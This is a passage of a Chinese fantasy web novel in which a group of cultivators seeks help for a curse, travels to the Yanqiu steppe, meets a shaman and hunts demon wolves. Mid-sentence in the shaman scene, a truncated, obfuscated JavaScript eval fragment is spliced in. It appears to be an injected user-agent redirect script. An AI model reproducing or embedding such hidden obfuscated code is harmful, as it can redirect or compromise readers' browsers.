众人纷纷看向他,就像看着一根救命稻草。李玉真本来不想麻烦长辈,到了这个地步也没办法了。他道:“凌烟阁的主人叫周玉成,是我师父的朋友。他是元婴期的大能,咱们去问一问,他说不定会有办法。” 众人都很惊讶,没想到李玉真的人脉这么广。上回见到紫衣侯的时候,大家就意识到他是个货真价实的小少爷。他平时不显山不露水的,跟他们混在一起也看不出有什么架子,关键时候却能帮上大忙。 凌烟阁的总舵就在城郊,步云邪登时生出了希望,道:“那咱们这就去。” 26.凌烟阁 二 他们之前来参加过拍卖会,又来交了好几次任务,凌烟阁的弟子已经跟他们混了个眼熟。一人道:“几位道友,来交任务么?” 李玉真上前道:“我们有事求见周阁主。” 接引弟子有些诧异,凌烟阁主虽然广交八方朋友,却也不是这些无名小卒说见就能见的。李玉真从怀里掏出了太清宫的腰牌,郑重道:“劳烦你把这个给周叔叔,他会见我的。” 他腰牌的顶部是金色的,背面写着他的名字。那弟子的神色一凝,知道跟太清宫相关的都是大新的达官贵人,能用这种金云头的人更是身份高贵,万万怠慢不得。他道:“几位请稍等,我去通报。” 片刻那弟子快步回来了,恭敬道:“阁主请几位进去,跟我来吧。” 李玉真道了一声多谢,跟着那人走了进去。伏顺走在后面,低声道:“有关系就是好啊。” 赵大海示意他少说话,别露了怯让人瞧不起。伏顺想起自己也有官职在身,怎么说也是从九品的司晨,于是把腰杆子挺得直了一些。 一行人穿过花园,前方有一座青竹建的雅舍,周围积着薄雪,庭院里青松亭亭如盖。屋前有个小池子,里头耷拉着几支枯荷和干瘪的莲蓬,水面结了一层薄冰,别有一种萧瑟的意趣。屋里传来悠悠的琴声,不疾不徐,看来此间的主人是个风雅之人。 接引弟子带他们来到屋前,低声道:“阁主就在里面。” 众人不敢冒犯,静静地站在门外。等那一曲弹完了,李玉真才扬声道:“周叔叔,晚辈李玉真和钦天监的几位朋友求见。” 隔着一道珠帘,周玉成的声音传了出来。 “你听我这琴怎么样?” 其他人一怔,李玉真已然朗声道:“周叔叔的琴艺高超,斫琴的本事更是天下第一。这琴高音清澈,中音扎实,低音浑厚,如同昆山玉碎、芙蓉泣露,绕梁三日不绝于耳!” 步云邪忍不住笑了,李玉真夸起人来一套一套的,着实会讨长辈喜欢,难怪他师父以前去哪里都把他带在身边。为了给段星河帮忙,他也是不遗余力了。 周玉成的爱好就是斫琴,好不容易找到了这块上好的桐木,爱惜的不得了,花了一番功夫才把它制成了一把新琴。他听了这一顿赞美,心情很是舒畅,道:“外头冷,都进来吧。” 一群人走了进去,纷纷向周玉成行礼。周玉成坐在琴案后摆了摆手,淡淡道:“不必客气。” 一名侍女跪坐在一旁泡茶,淡淡的兰花香飘满了屋子。周玉成戴着一根白玉簪,穿着一身浅碧色的宽袍,轻轻摩挲着琴头,微微一笑道:“我还想着你是要三过家门而不入,来了好几次了,也不跟我打声招呼,这回怎么转性子了?” 他约莫三十五六岁年纪,模样还很英俊,但既然已经到了元婴期,应该也有近百岁年纪了。听他说话跟逗小孩儿似的,看来跟李玉真的关系很亲近。他是静华真人的老朋友,当年创办凌烟阁时,还得到过静华真人的帮助,便也把他的宝贝徒弟当成自家孩子看。 李玉真有些不好意思,道:“小侄出来历练,想着若是仰仗周叔叔,难以锻炼自己的本事,并非目无长辈。” 周玉成一摆衣袖道:“小嘴叭叭的倒是挺会说,先前紫衣侯也没把你劝回去,我自认是没这个本事了。说罢,找我有什么事?” 李玉真道:“我有位朋友中了诅咒,很是痛苦。周叔叔的修为高深,能不能帮我们看看?” 周玉成喔了一声,拍了拍面前的桌子,道:“过来让我看看。” 段星河过去坐下了,伸出手腕。周玉成手指搭在他脉搏上,片刻皱起了眉头,道:“你这诅咒……来头可不小啊。煞气郁结在心脉上,每次发作就像铁钉子钻心脏一样,是不是?” 这些大能果然见多识广,段星河的病症一下子被他说中了,很是佩服。他道:“前辈说的是,我这诅咒是虺神烙下的,胸口有个蛇头一样的红色痕迹。煞气爆发时力大无比,却也会丧失神智。” 周玉成道:“给我看一眼。” 段星河解开了衣襟,袒露出胸膛。周玉成伸手碰了一下,一股灼热的痛感传了过来。他缩回了手指,诧异道:“还在疼?” 段星河克制着道:“不严重,能忍。” 周玉成叹了口气,道:“仗着年轻不把自己当回事,这么拖下去,你这身体早晚报废。” 段星河道:“前辈有没有法子解除这个诅咒?” 周玉成的神色沉静,道:“我解除不了。” 他说的这样直接,大家都十分失望。周玉成道:“术业有专攻,我是个掮客,不擅长驱邪,乱来是害了你。” 众人知道他说的不错,但除了他也不知道还能求谁帮忙好。李玉真道:“那怎么办?” 周玉成沉吟了片刻,道:“燕丘的萨满的灵觉十分强大,擅长施咒,也精通解除诅咒。要不然你们就去找她试一试吧。” 李玉真想了一下,道:“若是有人被兽皮蒙住,变成了动物,萨满也能把他们变回原样么?” 周玉成的心思敏锐,道:“有人被变成动物了?” 李玉真犹豫了一下,觉得凌烟阁的人太多了,万一消息传出去又要惹麻烦,道:“没……我就是问问。” 周玉成看出他不想多说,淡淡道:“这事也得找萨满。把人变成牲口的咒术,最早就是从燕丘传出来的。那里的牧民在战败的俘虏身上蒙上兽皮,把他们变成牛羊奴役。据说现在草原上的牲口,还有不少是人与牛羊杂交的后代。” 他说的好像是件极寻常的事,众人听了却不寒而栗。不过既然如此,那萨满应该能救得了那些小猴儿。 周玉成微微一笑,道:“还有什么要问的么?” 李玉真想是没有了。周玉成嘱咐道:“在外面多加小心,有空给家里写信,别让你爹担心。” 李玉真老实道:“小侄知道了,多谢周叔叔。” 这些年轻人行走在外不容易,周玉成放心不下,从小指上褪下了一个黑色的玛瑙指环,上头刻着凌烟阁的徽记。 他道:“最近任务不好抢,你们拿着这个指环可以出入凌烟阁任意分舵。有任务可以先挑,有困难也可以寻求各个分舵的人帮忙,摇人也行、借钱也行,但是要打借条,期限内还不上我就告诉你爹。” 他扳着脸这么说,却是给他们提供了极大的便利。李玉真的眼睛湿润起来,师父虽然不在了,他的老朋友还关照着自己。他双手接过了扳指,道:“多谢周叔叔。” 周玉成摆了摆手,道:“去吧。” 众人行礼退了出去,心中有了目标,便如同在迷雾中看到了一点光亮。出了凌烟阁,段星河的心里有了一点希望,道:“咱们去燕丘看看吧。” 别的事都可以往后放,段星河身上的诅咒必须想办法解除。还有那些小猴儿也受了许多罪,得赶紧让它们恢复原样才是。 天色渐晚,他们回到了驿馆。赵大海的屋里亮着灯,他们走的时候没关门,窗户上映出个黑黢黢的人影。众人心中一凛,伏顺道:“不好,猴子被发现了!” 一群人快步进了屋,见驿丞蹲在地上,手里拿着个包子,对一个小猴儿道:“嘬嘬嘬,猪肉白菜馅儿的,你吃不吃?” 小猴儿伸过手去,直接把包子拿走了,还冲他吐了吐舌头。驿丞也不生气,转身又从桌上拿了一个包子,去喂其他的猴子。一只小猴蹲在桌上,专注地翻着墨墨的毛皮,从它身上找盐粒子吃。 三十只猴儿在屋里待着,有的在床上睡觉,有的吃东西,没打架也没吵闹。驿丞听见了推门声,回过头来,带着笑容道:“你们回来了。” 猴子虽然被他发现了,但他们相处的莫名和谐。驿丞兴奋地说:“你们怎么养了这么多猴子。我就是属猴的,真好玩啊!” 伏顺警惕道:“你怎么进来的?” 驿丞想起正事来了,从怀里掏出一沓银票,道:“朝廷批的钱下来了,我给你们送过来。刚才步大人不在,这边没关门,我听见有动静就进来了。” 步云邪接过了钱,有一百两药材钱,还有一百两抚恤费。他们马上就要去燕丘了,肯定没法带这些小猴。既然驿丞这么喜欢这些猴子,不如托付给他。 段星河跟他想一块儿去了,开口道:“能不能劳烦你帮忙照看它们一阵子。我们要去燕丘一趟,最多两个月回来。” 驿丞道:“这些猴子是炼丹用的?” 段星河吓了一跳,这地方的人就是生猛,看什么东西都像炼丹用的。他生怕转一圈回来这些猴子都变药渣了,道:“不不,这些猴子金贵得很,就是有用,一个也不能少。” 驿丞寻思了一下,忽然单刀直入地问:“是人变的?” 段星河诧异地看着他,道:“你怎么知道?” 驿丞露出一个神秘的笑容,没有直接回答,却道:“你猜。” 正常人无论如何也想不到这些小猴是人变的,他能说出这种话来就很不寻常。 众人的神色惊疑,段星河的心里也生出了一丝提防,道:“猜不出来,你直说吧。” 驿丞指了指身后,桌上摊着一张纸。步云邪拿起来一看,上头歪歪扭扭地写了些字。一只小猴儿的爪子上还沾着墨水,已经自己把事情的大概写下来了,学堂还是没白上的。 驿丞道:“是真的么?” 步云邪松了口气,道:“是真的。” 驿丞挠了挠头,道:“我还以为这小猴儿耍我,难怪会写字呢。” 他都已经知道了,还这么淡定。在这里做驿丞时常能遇见各种奇怪的事,这人都已经见怪不怪了。 段星河本来也没想瞒着他,只是觉得说起来太离奇,他未必会相信。段星河道:“我们这次去燕丘,就是要找给它们解除诅咒的法子。这件事先别告诉它们的父母,要不然还要惹麻烦。” 驿丞道:“那可不,自家孩子变成这样,搁谁谁受得了啊。先在这儿养着吧,反正大厨房每天做不少饭呢,包子馒头管够。” 小猴儿们望着这边,步云邪温声道:“我们明天出门一趟,你们乖乖地待在这里。驿丞会保护你们的。” 猴儿们知道他们是好人,纷纷点头。段星河想着接下来的旅程,眼前已经浮现出了辽阔的草原。也不知道那位萨满好不好说话,若是能一切顺利就好了。 出了白沙郡往北走,一路上的人越来越少。过了界碑,便离开了大幽。 他们出发的时候刚出正月,往北走了半个多月,天渐渐暖和起来。小河里的冰开化,枝头生出了迎春花。一阵长风吹来,嫩绿的草地一望无际,牛羊悠然地吃着草,远处传来牧民粗犷的歌声,这里便是燕丘了。 赵大海赶着大车,春风吹在身上,心情格外轻快。伏顺歪在车厢里打着呼,口水淌了一脸。李玉真在他对面看着羊皮地图,又比较了一下罗盘,发现他们已经快到赫兰部落了。 燕丘原本有好几个部落,这十几年来,赫兰部落的首领□□到处征战,把散落在草原上的五大部落都统一了,成了燕丘唯一的王。 这里的牧民信仰萨满神,每年都要举行大型祭祀,感谢神的庇佑。他们认为每一代的萨满都是神的化身,说的话是神的旨意,连部落的大王也敬她三分。 这一代的萨满已经有八十多岁了,会说十多种不同种族的语言,能够预知未来,被称作塔林必勒格,意为草原上智慧的化身,牧民们都很尊敬她。 远处已经能看见一座座帐篷了,李玉真探头出来道:“萨满应该就在前头的部落里,咱们先去跟他们的守卫打个招呼吧。” 段星河应了一声,道:“好。” 他和步云邪骑着马并驾齐驱,发丝在风中猎猎飞舞,一派少年人意气风发的模样。出来走了这几天,他心情好了一些,煞气也勉强控制住了。其他人见他这么乐观,心中也轻松了一些。 大车来到了部落跟前,几个卫兵过来,举起长矛拦住了车,说了几句他们听不懂的话。 他们应该是问自己是什么人。段星河下马,客气道:“我们是从大幽来的,想求见你们的萨满。” 中原常有商人过来旅行,带来些茶叶、丝绸,还有姑娘们喜欢的镜子、首饰等小玩意儿,换些牛羊皮子、酸奶酪等特产带回去。这些卫兵见了他们也没有特别惊讶,一个会说汉话的士兵道:“你们找萨满干什么?” 段星河道:“我生了重病,听说她擅长驱邪,想请她老人家给我治疗。” 萨满的巫术高明,救治了许多草原上的人,但很少跟外乡人打交道。他们互相看了一眼,有些迟疑。段星河诚恳道:“我们走了许多天,是专程来求见她的,还请行个方便。” 伏顺被外头的说话声吵醒了,道:“啊,停车了……开饭了吗?” 他这段时间已经掌握了旅行的真谛,上车睡觉,下车尿尿;吃饱喝足,到此一游。两个士兵过来检查他们的大车,伏顺提着裤子正要去小解,一开车门差点撞到人家身上。 士兵见车内没有什么可疑的东西,正打算放行,目光忽然落在了伏顺的腰带上。伏顺刚下了车,忽然被士兵揪住脖领子,一把提回来了。 士兵叽里呱啦地说了几句话,伏顺听不懂,慌张道:“别拽我,要尿出来了!” 那名士兵一把将他腰带上挂着的牛骨牌子薅下来,在其他人面前晃了晃。发黄的牌子上刻着一只鹰,正面镶嵌着一块绿松石,写着几个燕丘的文字。有人道:“这是小主人的腰牌!” 另一名士兵的神色也严肃起来,道:“这东西从哪来的?” 以前墨墨到处流浪,在路边捡过不少破烂吃,这就是它吐出来的。伏顺觉得好看就戴在身上了,没想到惹了麻烦。 他捂着小腹跳了几下,道:“路边捡的,我尿完了再跟你说——” 他奔到远处,放完了水,几个士兵已经把其他人都扣押住了。伏顺慌了,没想到一块牛骨牌子能惹这么大的麻烦。他们还以为这牌子的主人是个普通的牧民,看来那人的来头还不小。 士兵们推推搡搡的,对他们很不客气。段星河皱起了眉头道:“干什么?” 士兵道:“你不是要见萨满吗,我带你们去见她。” 士兵们用刀枪指着他们,把他们押送到了一个巨大的帐篷跟前。那帐篷处于部落深处。周围有几个大汉守卫着。士兵把那块牛骨牌子递过去,跟他们说了几句话,一人便掀开了帐篷,进去通报了。 片刻那人出来,示意可以进了,士兵们便押着段星河等人进了帐篷。 帐篷里有些昏暗,里头堆满了各种奇怪的东西。有一大把悬挂的羽毛,下面垂着风铃,矮桌上摆着一个硕大的水晶球,一个带着角的牛头骨,堆成山的羊皮卷轴,角落里还有一个铺着白绵羊皮的步辇,垫的十分厚实。 一个八十来岁的老婆婆坐在上首,雪白的头发跟皮绳缠在一起,编了几十条小辫子。她身上满是皱纹,穿着一件紫色的长袍。她露出来的皮肤上覆盖着用海娜画的文身,额头上画着一只展翅飞翔的鹰,跟那块牛骨牌子上的花纹很像,看来此人就是这里的萨满了。 她脖子上戴着好几个月亮形状的铜片项链,里圈的小,向外逐渐扩大。双手上也戴着一大串铜环样的手镯,稍微一动就发出叮叮当当的声音。她盘腿坐在垫子上,仔细看来,她的双腿是萎缩的,无论走到哪里都要四个大汉抬着她。 守卫帐篷的那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨满咦了一声,非但没觉得被冒犯,反而十分惊讶。她苍老的眼睛注视着它,神色庄严起来,抬手捂着心口道:“噬梦上神,您苏醒了。” 其他人都以为自己听错了,萨满居然管它叫噬梦上神,这名头一听就不得了。不但他们吃了一惊,就连帐篷里的士兵也很意外。 墨墨一副淡定的模样,看不出有那么大的排场。一般人见了它,不是管它叫小妖怪,就是叫它长鼻子小猪,还是头一次有人这么尊敬它。 步云邪道:“您认得它?” 萨满郑重道:“这是跟随创世神的灵兽,鸿蒙之初就存在了。能够侍奉它,是你们的福气。” 众人觉得墨墨未必有这么大的来历,至多是那位上古灵兽的后代罢了。但萨满对它这么恭敬,对大家也有好处。至少这些士兵看在它的面子上,不至于拿刀枪把自己叉出去了。 萨满低下头来,发出了一串奇怪的音节,听起来跟墨墨的叫声很像。墨墨终于遇见了能够跟它沟通的人,兴奋起来,扬起鼻子发出了声音。 “咕……叽叽,咕叽咕叽,咕噜噜,咕叽。” 萨满道:“咕叽叽咕?” 墨墨:“咕噜噜,咕噜,啾啾,叽。” 萨满:“咕噜噜叽?” 墨墨摇头道:“呜咕噜噜,叽叽叽,啾啾啾,叽叽。” 众人如听天书,正疑惑间,萨满捂着脸哭了起来,十分伤心。墨墨一副为难的表情,觉得是自己把她惹哭了,沮丧地耷拉下了鼻子。 萨满道:“我知道了,噬梦上神不会骗人的。我的孙子被一群小妖兽围攻吃了,残骸在路边被它发现了。之前草原上就有许多妖狼流窜,害了不少牛羊。我那小孙儿脾气暴烈,说要除了它们,却不幸被害了。” 萨满的孙子失踪了半年多了,一直没放弃寻找。她虽然能感到孙儿已经不在人间了,这回确认了噩耗,还是十分难过。 萨满擦了一把泪水,伏顺道:“那什么……老婆婆,人都已经没了,你还是节哀吧。” 赵大海拽了他一下,小声道:“少说几句。” 萨满抬起苍老的眼睛,看着他们道:“我孙子是为了杀妖狼而死的,我得为他报仇。我看你们的修为不错,比这草原上的勇士还要强。若是你们能帮我杀一千只妖狼,取它们的角回来,我就可以帮你们。” 众人都倒吸了一口气,这老婆婆还真不把他们当外人,使唤起来毫不客气。李玉真忍不住道:“一千只也太多了吧,那要杀到什么时候?” 萨满冷冷道:“杀到它们灭绝为止。它们祸害牛羊、牧民,还害死了我的孙子,我要它们从草原上消失!” 李玉真感到了一股杀气,又有些同情,若是自己的亲人遭遇了不幸,只怕会比她更加愤怒。 萨满伸出干枯苍老的手,在面前的水晶球上虚虚一拂,一道白色的光芒升了起来。一只像豺狼一样的四足怪兽出现在白光里。那妖兽的鬃毛是红色的,头上长着两只短短的骨角,身上的皮毛秃得一块块的,难看的要命。 她咬牙切齿道:“就是这种妖狼,记清楚它们的样子!” 段星河已经到了金丹期,抓几只小妖应该不难,便道:“好,那就一言为定。” 萨满道:“去吧,祝你们平安顺利,我在这里等你们的好消息。” 来了外乡人的事很快就在附近传开了。牧民们听说萨满见过了他们,准许他们在这里除妖,便对他们没有那么提防了。 赵大海驾着大车,带着他们的全部家当,找了个水草丰足的地方停了下来。天上聚着一片片白云,地上也有一团团白绒绒的羊群。胭脂山在远处若隐若现,红色的岩石如同女子化妆用的胭脂,因此得名。 众人花了一下午的时间扎下了帐篷,附近还有其他牧民的帐篷和牛羊。小孩子对他们十分好奇,小脸上带着两坨日晒红,嗦着手指头看着这边。 李玉真大方地向他们挥了挥手,道:“我们是从中原来抓妖狼的,暂时要住在这里,请多关照啦。” 小孩儿害羞地跑了,大人听懂了他的话,用生硬的汉话道:“好,欢迎你们,中原来的勇士。” 天色不早了,步云邪等人架起了大锅,开始煮晚饭。段星河从包袱里掏出了神州风物志,翻到了燕丘一卷,喃喃道:“妖狼……妖狼……” 篝火的光照在书卷上,映出了一只怪物的画像,跟萨满的水晶球里的影像一样。段星河的眼睛一亮,道:“有了——妖狼,四足野兽,鬃毛赤红,头上生有一双短角,是胭脂山大妖与当地野狼的后代。性情残忍,成群捕猎,会掏牛羊的肛/门,喜食内脏。” 伏顺凑过来瞧了一眼,看到妖狼会掏肛/门,下意识捂住了自己的屁股。他道:“这犯规了吧,爱群殴就算了,为什么这么下三滥啊?” 赵大海道:“妖怪嘛,你指望它有多讲武德?” 伏顺道:“还是稳妥一点的好,大家都多穿一条裤子吧。” 李玉真道:“少自作多情了,你又不是牛羊,它们懒的掏你。” 饭煮好了,热腾腾的白气冒了出来。大家盛了野菜粥,就着干粮和肉干吃了。夜空中的星子闪烁,远处的胭脂山隐没在夜色里。段星河寻思着书上写的胭脂山大妖,心中有些疑惑。他往后翻了翻,书上没记载那大妖的事。 步云邪道:“怎么了?” 段星河道:“书上说燕丘有个胭脂山大妖,是那些妖狼的祖先,也不知道有多厉害。咱们来杀它的子孙,它知道么?” 步云邪也没听过这大妖,想来不是什么大不了的怪物。他道:“应该是杜撰出来的吧,不用管它。” 段星河想了想,觉得也是,便把书放在一边,专心吃起饭来。 27.燕丘 一 次日一早,大家吃完了早饭,开始捕猎。那些怪物祸害了许多牛羊,还经常攻击牧民,当地人早就对它们怀恨在心了。段星河找了几个牧民一问,便有人告诉了他妖狼的踪迹。一名大叔指着远处的一条河流,道:“有一群妖狼常在那边喝水,你们在那附近埋伏着就行。” 段星河从前在青岩山中打猎时,就经常在山间追踪野兽的足迹,或者在水边等待,知道他说的不错。清澈的河水映着阳光哗哗流淌,他们在矮树丛里埋伏了片刻,果然见一群妖狼过来喝水。 段星河低声道:“动手。” 伏顺从怀里掏出一张罗网,骤然朝那边一扔,一下子把那一群狼都给罩住了。狼群吓了一跳,嗷嗷叫了起来,四下乱逃乱撞的反而越缠越紧了。 段星河趁机一掠上前,猛地斩下了一头狼的头颅。另外几头狼朝他呲出了獠牙,弓起了背试图攻击他。 段星河喝道:“别惯着它们,杀!” 众人一拥而上,七手八脚地把那一群狼杀了。赵大海捻了捻手上的血,道:“这也太好对付了吧,跟一般的狼没什么区别嘛。” 还有一头狼十分狡猾,从罗网边上钻出去,掉头就跑。李玉真追了上去,放声喊道:“别跑,一家人要整整齐齐的,回来包饺子啊!” 妖狼放开四足一路狂奔,段星河在远处喊道:“别追了,李兄,不差这一个。” 李玉真却不服气,想着别人都杀了妖,自己却没有功劳,怕是要被人瞧不起。他拔出剑来,喘着气道:“我给你一个机会,你只要停下来,我就给你一个痛快。老子数到三,二,一——” 他还没追到跟前,却见前方刀光骤然一闪,那头妖狼惨叫一声,血溅了一地。 李玉真定睛一看,却见一个红衣少女不知从哪里杀了出来。她手里提着一柄八尺长的斩马/刀,一侧雕成龙脊模样,开刃的一边锋利雪亮。二十来斤的兵刃,一般的壮汉使着都费劲,她抡起来像风车一般,力气大的惊人。她弯腰拾起那头妖狼的尸体,割下了它的尾巴,扔进身后的背篓里。 两人打了个照面,红衣少女冷漠的神色有了一丝波动,道:“李……太真?” 李玉真搔了搔头,纠正道:“你记错了,我叫李玉真。” 少女喔了一声,道:“不好意思,太久没见了。” 她生着一双杏眼,眼瞳黝黑,丰密的头发扎了个马尾,几根小指粗细的麻花辫用金珠子箍住,夹在瀑布般的青丝中,随着行动来回摆动,利落中带着一点俏丽。 这姑娘不是别人,正是宋大将军家的二小姐,前阵子在大新都城中摆擂台比武招亲的宋胡缨。她爹娘让她找个好夫婿,她却把那些来求亲的贵族子弟打得落花流水,给自己立了个母夜叉的名号,更没人敢娶她了。 宋胡缨继承了她父亲的武学天赋,天生就有一身神力,根本没把那些绣花枕头放在眼里。她不耐烦城里的婆婆妈妈天天唠叨自己,索性出来游历,图个耳根清净。 在草原上遇见大新的故人也是缘分,她的眼神柔和了一点,道:“你怎么在这里?” 李玉真也挺高兴,道:“我和几位朋友出来历练,接了个杀狼的任务,你呢?” 宋胡缨道:“那巧了,我也是出来历练的。我最近缺钱,也要杀狼,你别跟我抢啊。” 李玉真想她一个人未免有些孤独,便想带她搭个伙。他看着妖狼光秃秃的屁股,道:“你要多少条狼尾巴?” 宋胡缨道:“八百条。” 这些草原上的人对妖狼还真是恨不能赶尽杀绝,李玉真道:“我们要一千对狼角,跟你的需求不冲突,你要不要跟我们合作?” 宋胡缨还没回答,就见几个人从远处过来了。段星河喊道:“草原这么大,你别一个人乱跑……咦,这位姑娘是?” 李玉真有些兴奋,道:“这位是宋胡缨宋姑娘,出来历练的。你在白沙郡见过她哥哥,跟紫衣侯一起的那个小将军,记得吗?” 段星河点了点头,没想到在这里遇上了中原的朋友。他大方道:“在下段星河,在巴蜀逍遥观修行。我们跟李兄是在大幽认识的,他的朋友就是我们的朋友。” 宋胡缨冷淡道:“我跟他不熟。” 段星河:“……” 宋胡缨的性格直来直去的,不会跟人客套,但本性不坏。她又道:“就跟他见了三面,印象还可以。” 李玉真哈哈一笑,打圆场道:“白首如新,倾盖如故嘛。既然遇上了,要不要搭个伙?” 宋胡缨见他们一个个还算端正,李玉真也是太清宫掌教的儿子,应该靠得住。反正她一个能打十个,也不怕他们对自己无礼,爽快道:“可以。” 段星河道:“需求冲突么?” “不冲突,”李玉真道,“她要狼尾巴,咱们要狼角。” 他们的伙伴都是男子,宋胡缨一个女孩儿跟着他们,怕是有点不便。宋胡缨看出了他在顾虑什么,道:“我自己有帐篷,吃饭可以自己开火。你们若是觉得不方便,我也不勉强。” 段星河想她一个女孩子孤零零的,不管她总是有些不放心,便道:“没什么不方便的,宋姑娘若不嫌弃就一起来吧。” 宋胡缨道:“好,你们等一等,我去拿行李来。” 她提起斩马/刀,向北边走了。众人回了营地,等了片刻,见李玉真在前头带路,宋胡缨牵了一匹白马过来,马背上挂着个叠起来的小帐篷,还有些轻便的行李。李玉真帮她把东西卸了下来,宋胡缨挽起了袖子,在他们的营地边上选了个地方,开始打木桩,扎帐篷。 她的行囊里有什么东西一鼓一鼓的,墨墨很是好奇,过去用鼻子戳了戳。就见一个毛茸茸的东西探出头来,却是个活物。那家伙灰扑扑的,长得有点像猫,又有些像豹子。赵大海道:“这是什么?” 宋胡缨回头看了一眼,道:“这是我的灵兽,一只兔狲。” 这么多人围着它,那只兔狲有点害怕,浑身的毛都炸起来了。伏顺看着它紧张的模样,伸出一根手指在它眼前来回晃了几下,道:“怎么回事,它两个眼睛还分开站岗?” 宋胡缨道:“它眼睛有点问题,所以它妈不要它了。我用米糊把它喂大的,给它起了个名字……” 她抡起锤子,把最后一根木桩敲进地里去,道:“叫小对眼。” 伏顺觉得应该叫小斜眼才是,但没敢说。它耳朵里生着两撮长长的犟种毛,脾气应该挺倔的。步云邪揉了揉它毛茸茸的肚子,又摸了摸它的丹田,感觉这只兔狲的资质很有限,也不太聪明的样子,不过看看行李、抓抓耗子还是够用的。 中午了,赵大海煮起了野菜玉米粥,把干粮烤软了。片刻宋胡缨的帐篷扎好了,饭也做好了。段星河从行李堆里找到了一个厚实的瓷罐子,里头装着他们从大幽带来的下饭至宝——咸鸭蛋,吃一个少一个,除了招待客人,其他时候都舍不得动。 有女孩子加入他们是件大事,他拿出一个饱满的咸鸭蛋递给宋胡缨,道:“用白酒腌的,都出油了,你尝尝。” 宋胡缨接了过去,她知道在荒郊野外这种食物十分珍贵,领情地说:“谢谢。” 男人堆里来了一个少女,就像绿叶丛里开了一朵红花,大家对她都小心翼翼的,又很高兴,他们终于不是和尚团队了。段星河带头道:“欢迎宋姑娘加入我们。” 其他人纷纷鼓起掌来,宋胡缨微微一笑,冷冰冰的脸上也有了些温度。她把咸鸭蛋剥开,掰了一小块递给身边的小对眼。兔狲闻到了油香,把蛋黄一口吞进了肚子里,又伸出舌头舔了舔嘴角。墨墨在一旁看着,鼻子一动一动的,显得有点馋。 步云邪招了招手道:“别看啦,过来吃粥。” 伏顺吃了几口粥,觉得滋味十分寡淡,忍不住又惦记起刚才杀掉的妖狼来。他道:“你们说,那些狼肉能不能吃?” 一般的狼肉肯定没问题,但这种妖狼不知道有没有毒。李玉真去翻那本神州风物志,看了片刻,上面也没写能不能吃。伏顺已经拖了一条妖狼的尸体回来了,他道:“我看有秃鹫在掏它的内脏,吃了也没死,应该没事吧。” 妖狼的肚子已经被秃鹫撕开了,肉也被啄食掉了一些。赵大海也馋肉了,道:“烤来试试吧。” 他把妖狼剥洗干净了,剁成几大块串起来,放在火上烤了一阵子,油水就淌了下来。墨墨扬起了鼻子,显得十分兴奋。片刻肉熟了,伏顺撕了一块递给墨墨,道:“勇士,你来试毒吧。” 墨墨天生百毒不侵,吃了脏东西立刻会吐出来。要是它能吃,这狼肉就没问题了。 众人期待地看着它,墨墨吃了一块肉,咕咚一声咽下去了,过了好一会儿也没吐出来。段星河道:“可以吃,开动。” 一群人把烤狼肉撕成了几块,一会儿功夫就吃了个一干二净。伏顺剔着牙道:“不错,就是肉有点糙,不好嚼。” 李玉真已经很知足了,道:“比天天吃玉米粥好多了。” 吃完了饭,众人休息了一会儿。下午又出去猎了几只妖狼,割下了它们的角和尾巴。宋胡缨的篓子里垫着一层石灰,狼尾巴也能保存几个月。 墨墨想跟小对眼做朋友,过去嗅了嗅它。然而兔狲对什么都不感兴趣,只是趴在角落里睡觉,醒的时候就用大尾巴环着身体,对来来往往的人一副警惕的模样。墨墨用鼻子拱了拱它,兔狲朝它哈了口气,十分凶猛的样子。 步云邪道:“别惹它了,小心它挠你。” 他说晚了,兔狲已经伸出爪子在墨墨的鼻子上抓了一下,随即一跃窜到了宋胡缨的帐篷顶上,一脸莫挨老子的表情。 墨墨嗷地一声惨叫,鼻子隐隐作痛。它意识到了这家伙不想跟自己玩,也对它失去了兴趣。 段星河来到小河边,把剩下的狼肉剥洗干净,见不远处站着个穿蓝袍的牧民少女。她约莫十六七岁,脖子上戴着一串绿松石和牛骨串成的项链,绑着两条乌黑油亮的麻花辫,穿着一双柔软的羊皮靴子,应该是附近人家的女儿。她双手捉着衣襟,探头探脑地望着这边,似乎有话要说。 段星河提着狼肉站了起来,血水还在滴滴答答地往下淌,道:“姑娘,你有事?” 少女指了指他手上的狼肉,用生硬的汉话道:“这是妖怪的肉么?” 段星河道:“是啊。” 少女显得十分急切,道:“不要吃,不能吃的!” 段星河十分诧异,道:“为什么?” 少女认真道:“有毒,吃了以后会变成疯子,很危险!” 段星河的神色凝重起来,走过去道:“能具体说说么?” 少女道:“我们草原上的人都不吃妖狼的。这种怪物到处流窜,有些得了疯病,红着眼睛直流口水,见人就扑,最后变得又怕风、又怕光,自己跳到水里淹死。吃了这种有病的狼肉,人也会变成疯子,像狼一样哀嚎着死去,连萨满也救不了。大家很难分辨哪只狼有病,哪只没有,所以就一概不吃了。” 段星河想了想,她说的应该是瘪咬病。这种狼性情凶猛,疯不疯本来就很难分辨,要是不小心吃到有病的,他们就要全军覆没了。 她是一片好心,虽然有点可惜,还是安全第一。段星河扔下了狼尸道:“多谢你,我们以后不吃了。” 少女道:“那你们有东西吃吗?” 段星河道:“我们还有点玉米糁和干粮,到处都有野菜,饿不死的。” 少女有些同情他们,道:“阿爸说,你们是来帮我们除妖的,不能让你们饿肚子。你跟我来吧,我们有东西吃。” 前方不远处有个硕大的帐篷,段星河跟着她过去了。少女来到门前,扬声道:“额吉,我把客人带来了。” 牧民的帐篷十分宽大,里头放着几个柜子、桌子和床,比他们的简易帐篷好多了。一个中年妇人回过头来,微笑道:“喔,欢迎。你们是萨满的客人,是不是?” 段星河道:“是,阿姨您好。” 中年妇人不太会说汉话,只会简单的打招呼。她对少女说了几句话,少女翻译道:“我妈妈问你吃饭了没有,刚炖好了羊肉,要一起吃点吗?” 段星河有点不好意思,道:“不了,要是有生肉的话,我们想买一些。” 少女跟母亲说了,母亲点了点头,直接出去给他牵了两头羊。少女说:“你们是除妖的勇士,羊不要钱,送给你们了。” 段星河没想到这里的人这么朴实,连忙道:“那不行,我付钱。” 他掏出二两银子递过来,少女不收,段星河强行塞给她了。妇人在一旁露出了笑容,她离开了片刻,提了两个大铁桶回来,里头装着满满的羊奶。 妇人说了几句话,少女道:“我妈妈说,你给的钱太多了,送你们些羊奶好了。” 段星河领了情,道:“多谢阿姨。” 